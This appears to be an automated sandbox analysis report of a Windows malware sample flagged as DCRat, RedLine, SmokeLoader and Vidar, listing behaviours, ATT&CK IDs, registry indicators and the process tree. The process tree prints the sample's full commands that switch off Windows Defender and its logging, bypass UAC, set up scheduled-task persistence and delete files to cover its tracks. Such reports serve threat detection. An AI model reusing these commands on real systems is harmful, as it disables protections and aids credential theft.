dcrat | 668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4236-282-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 12 IoCs

Processes:

CDC5.exeD22B.exeDF3C.exeE0D3.exeCDC5.exeCDC5.exeCDC5.exebuild2.exebuild3.exebuild2.exemstsca.exeE0D3.exe

pid	process
2720	CDC5.exe
4520	D22B.exe
4736	DF3C.exe
212	E0D3.exe
4256	CDC5.exe
3956	CDC5.exe
1652	CDC5.exe
1552	build2.exe
4052	build3.exe
840	build2.exe
4248	mstsca.exe
4236	E0D3.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

E0D3.exeCDC5.exeCDC5.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	E0D3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	CDC5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	CDC5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	build2.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

4560 regsvr32.exe
840 build2.exe
840 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

2620 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4560	regsvr32.exe
840	build2.exe
840	build2.exe

pid	process
2620	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

CDC5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\bd04604c-fb1d-4907-aa5e-7387f9834b6f\\CDC5.exe\" --AutoStart"	CDC5.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

29 api.2ip.ua
30 api.2ip.ua
39 api.2ip.ua

flow	ioc
29	api.2ip.ua
30	api.2ip.ua
39	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

CDC5.exeCDC5.exebuild2.exeE0D3.exe

description	pid	process	target process
PID 2720 set thread context of 4256	2720	CDC5.exe	CDC5.exe
PID 3956 set thread context of 1652	3956	CDC5.exe	CDC5.exe
PID 1552 set thread context of 840	1552	build2.exe	build2.exe
PID 212 set thread context of 4236	212	E0D3.exe	E0D3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4856 schtasks.exe
4344 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3236 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4124 taskkill.exe

pid	process
4856	schtasks.exe
4344	schtasks.exe

pid	process
3236	timeout.exe

pid	process
4124	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe

pid	process
916	668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe
916	668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2724
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe

pid process

916 668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe
2724
2724
2724
2724

pid	process
2724

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

E0D3.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	212	E0D3.exe
Token: SeIncreaseQuotaPrivilege	2180	wmic.exe
Token: SeSecurityPrivilege	2180	wmic.exe
Token: SeTakeOwnershipPrivilege	2180	wmic.exe
Token: SeLoadDriverPrivilege	2180	wmic.exe
Token: SeSystemProfilePrivilege	2180	wmic.exe
Token: SeSystemtimePrivilege	2180	wmic.exe
Token: SeProfSingleProcessPrivilege	2180	wmic.exe
Token: SeIncBasePriorityPrivilege	2180	wmic.exe
Token: SeCreatePagefilePrivilege	2180	wmic.exe
Token: SeBackupPrivilege	2180	wmic.exe
Token: SeRestorePrivilege	2180	wmic.exe
Token: SeShutdownPrivilege	2180	wmic.exe
Token: SeDebugPrivilege	2180	wmic.exe
Token: SeSystemEnvironmentPrivilege	2180	wmic.exe
Token: SeRemoteShutdownPrivilege	2180	wmic.exe
Token: SeUndockPrivilege	2180	wmic.exe
Token: SeManageVolumePrivilege	2180	wmic.exe
Token: 33	2180	wmic.exe
Token: 34	2180	wmic.exe
Token: 35	2180	wmic.exe
Token: 36	2180	wmic.exe
Token: SeIncreaseQuotaPrivilege	2180	wmic.exe
Token: SeSecurityPrivilege	2180	wmic.exe
Token: SeTakeOwnershipPrivilege	2180	wmic.exe
Token: SeLoadDriverPrivilege	2180	wmic.exe
Token: SeSystemProfilePrivilege	2180	wmic.exe
Token: SeSystemtimePrivilege	2180	wmic.exe
Token: SeProfSingleProcessPrivilege	2180	wmic.exe
Token: SeIncBasePriorityPrivilege	2180	wmic.exe
Token: SeCreatePagefilePrivilege	2180	wmic.exe
Token: SeBackupPrivilege	2180	wmic.exe
Token: SeRestorePrivilege	2180	wmic.exe
Token: SeShutdownPrivilege	2180	wmic.exe
Token: SeDebugPrivilege	2180	wmic.exe
Token: SeSystemEnvironmentPrivilege	2180	wmic.exe
Token: SeRemoteShutdownPrivilege	2180	wmic.exe
Token: SeUndockPrivilege	2180	wmic.exe
Token: SeManageVolumePrivilege	2180	wmic.exe
Token: 33	2180	wmic.exe
Token: 34	2180	wmic.exe
Token: 35	2180	wmic.exe
Token: 36	2180	wmic.exe
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeIncreaseQuotaPrivilege	2760	WMIC.exe
Token: SeSecurityPrivilege	2760	WMIC.exe
Token: SeTakeOwnershipPrivilege	2760	WMIC.exe
Token: SeLoadDriverPrivilege	2760	WMIC.exe
Token: SeSystemProfilePrivilege	2760	WMIC.exe
Token: SeSystemtimePrivilege	2760	WMIC.exe
Token: SeProfSingleProcessPrivilege	2760	WMIC.exe
Token: SeIncBasePriorityPrivilege	2760	WMIC.exe
Token: SeCreatePagefilePrivilege	2760	WMIC.exe
Token: SeBackupPrivilege	2760	WMIC.exe
Token: SeRestorePrivilege	2760	WMIC.exe
Token: SeShutdownPrivilege	2760	WMIC.exe
Token: SeDebugPrivilege	2760	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2760	WMIC.exe
Token: SeRemoteShutdownPrivilege	2760	WMIC.exe
Token: SeUndockPrivilege	2760	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exeD22B.exeE0D3.exeCDC5.execmd.exeCDC5.execmd.exeCDC5.exe

description	pid	process	target process
PID 2724 wrote to memory of 932	2724		regsvr32.exe
PID 2724 wrote to memory of 932	2724		regsvr32.exe
PID 932 wrote to memory of 4560	932	regsvr32.exe	regsvr32.exe
PID 932 wrote to memory of 4560	932	regsvr32.exe	regsvr32.exe
PID 932 wrote to memory of 4560	932	regsvr32.exe	regsvr32.exe
PID 2724 wrote to memory of 2720	2724		CDC5.exe
PID 2724 wrote to memory of 2720	2724		CDC5.exe
PID 2724 wrote to memory of 2720	2724		CDC5.exe
PID 2724 wrote to memory of 4520	2724		D22B.exe
PID 2724 wrote to memory of 4520	2724		D22B.exe
PID 2724 wrote to memory of 4520	2724		D22B.exe
PID 2724 wrote to memory of 4736	2724		DF3C.exe
PID 2724 wrote to memory of 4736	2724		DF3C.exe
PID 2724 wrote to memory of 4736	2724		DF3C.exe
PID 2724 wrote to memory of 212	2724		E0D3.exe
PID 2724 wrote to memory of 212	2724		E0D3.exe
PID 2724 wrote to memory of 212	2724		E0D3.exe
PID 2724 wrote to memory of 1288	2724		explorer.exe
PID 2724 wrote to memory of 1288	2724		explorer.exe
PID 2724 wrote to memory of 1288	2724		explorer.exe
PID 2724 wrote to memory of 1288	2724		explorer.exe
PID 2724 wrote to memory of 3064	2724		explorer.exe
PID 2724 wrote to memory of 3064	2724		explorer.exe
PID 2724 wrote to memory of 3064	2724		explorer.exe
PID 4520 wrote to memory of 2180	4520	D22B.exe	wmic.exe
PID 4520 wrote to memory of 2180	4520	D22B.exe	wmic.exe
PID 4520 wrote to memory of 2180	4520	D22B.exe	wmic.exe
PID 212 wrote to memory of 1056	212	E0D3.exe	powershell.exe
PID 212 wrote to memory of 1056	212	E0D3.exe	powershell.exe
PID 212 wrote to memory of 1056	212	E0D3.exe	powershell.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 2720 wrote to memory of 4256	2720	CDC5.exe	CDC5.exe
PID 4520 wrote to memory of 1448	4520	D22B.exe	cmd.exe
PID 4520 wrote to memory of 1448	4520	D22B.exe	cmd.exe
PID 4520 wrote to memory of 1448	4520	D22B.exe	cmd.exe
PID 1448 wrote to memory of 2760	1448	cmd.exe	WMIC.exe
PID 1448 wrote to memory of 2760	1448	cmd.exe	WMIC.exe
PID 1448 wrote to memory of 2760	1448	cmd.exe	WMIC.exe
PID 4256 wrote to memory of 2620	4256	CDC5.exe	icacls.exe
PID 4256 wrote to memory of 2620	4256	CDC5.exe	icacls.exe
PID 4256 wrote to memory of 2620	4256	CDC5.exe	icacls.exe
PID 4520 wrote to memory of 3260	4520	D22B.exe	cmd.exe
PID 4520 wrote to memory of 3260	4520	D22B.exe	cmd.exe
PID 4520 wrote to memory of 3260	4520	D22B.exe	cmd.exe
PID 3260 wrote to memory of 3496	3260	cmd.exe	WMIC.exe
PID 3260 wrote to memory of 3496	3260	cmd.exe	WMIC.exe
PID 3260 wrote to memory of 3496	3260	cmd.exe	WMIC.exe
PID 4256 wrote to memory of 3956	4256	CDC5.exe	CDC5.exe
PID 4256 wrote to memory of 3956	4256	CDC5.exe	CDC5.exe
PID 4256 wrote to memory of 3956	4256	CDC5.exe	CDC5.exe
PID 3956 wrote to memory of 1652	3956	CDC5.exe	CDC5.exe
PID 3956 wrote to memory of 1652	3956	CDC5.exe	CDC5.exe
PID 3956 wrote to memory of 1652	3956	CDC5.exe	CDC5.exe
PID 3956 wrote to memory of 1652	3956	CDC5.exe	CDC5.exe
PID 3956 wrote to memory of 1652	3956	CDC5.exe	CDC5.exe
PID 3956 wrote to memory of 1652	3956	CDC5.exe	CDC5.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe
"C:\Users\Admin\AppData\Local\Temp\668785ba1ebccf34e1b7b0a828fcc0233ca0bfe8e654620ad60de26479ecaf8b.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:916

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\CBC1.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:932

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\CBC1.dll
2⤵
- Loads dropped DLL
PID:4560

C:\Users\Admin\AppData\Local\Temp\CDC5.exe
C:\Users\Admin\AppData\Local\Temp\CDC5.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2720

C:\Users\Admin\AppData\Local\Temp\CDC5.exe
C:\Users\Admin\AppData\Local\Temp\CDC5.exe
2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4256

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\bd04604c-fb1d-4907-aa5e-7387f9834b6f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:2620

C:\Users\Admin\AppData\Local\Temp\CDC5.exe
"C:\Users\Admin\AppData\Local\Temp\CDC5.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3956

C:\Users\Admin\AppData\Local\Temp\CDC5.exe
"C:\Users\Admin\AppData\Local\Temp\CDC5.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:1652

C:\Users\Admin\AppData\Local\fa1d0046-4b36-4b8a-bdff-21222046c92e\build2.exe
"C:\Users\Admin\AppData\Local\fa1d0046-4b36-4b8a-bdff-21222046c92e\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1552

C:\Users\Admin\AppData\Local\fa1d0046-4b36-4b8a-bdff-21222046c92e\build2.exe
"C:\Users\Admin\AppData\Local\fa1d0046-4b36-4b8a-bdff-21222046c92e\build2.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:840

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\fa1d0046-4b36-4b8a-bdff-21222046c92e\build2.exe" & del C:\PrograData\*.dll & exit
7⤵
PID:1100

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:4124

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:3236

C:\Users\Admin\AppData\Local\fa1d0046-4b36-4b8a-bdff-21222046c92e\build3.exe
"C:\Users\Admin\AppData\Local\fa1d0046-4b36-4b8a-bdff-21222046c92e\build3.exe"
5⤵
- Executes dropped EXE
PID:4052

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
6⤵
- Creates scheduled task(s)
PID:4856

C:\Users\Admin\AppData\Local\Temp\D22B.exe
C:\Users\Admin\AppData\Local\Temp\D22B.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4520

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2180

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:1448

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2760

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:3260

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
3⤵
PID:3496

C:\Users\Admin\AppData\Local\Temp\DF3C.exe
C:\Users\Admin\AppData\Local\Temp\DF3C.exe
1⤵
- Executes dropped EXE
PID:4736

C:\Users\Admin\AppData\Local\Temp\E0D3.exe
C:\Users\Admin\AppData\Local\Temp\E0D3.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:212

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1056

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
2⤵
PID:2088

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
3⤵
PID:2592

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
3⤵
- UAC bypass
PID:3608

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
3⤵
PID:3924

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
3⤵
PID:1188

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
3⤵
PID:3456

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
3⤵
PID:3476

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2180

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2036

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3876

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3416

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2104

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
3⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
3⤵
PID:5032

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
3⤵
PID:4716

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
3⤵
PID:4104

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:4176

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:5068

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
3⤵
PID:5112

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
3⤵
PID:4936

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
3⤵
PID:3352

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
3⤵
PID:4524

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
3⤵
PID:4672

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
3⤵
PID:3588

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
3⤵
PID:936

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:2396

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:3504

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:4420

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:2956

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4140

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4908

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:3492

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
3⤵
- Modifies security service
PID:3632

C:\Users\Admin\AppData\Local\Temp\E0D3.exe
C:\Users\Admin\AppData\Local\Temp\E0D3.exe
2⤵
- Executes dropped EXE
PID:4236

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:1288

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3064

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4248

C:\Windows\SysWOW64\schtasks.exe
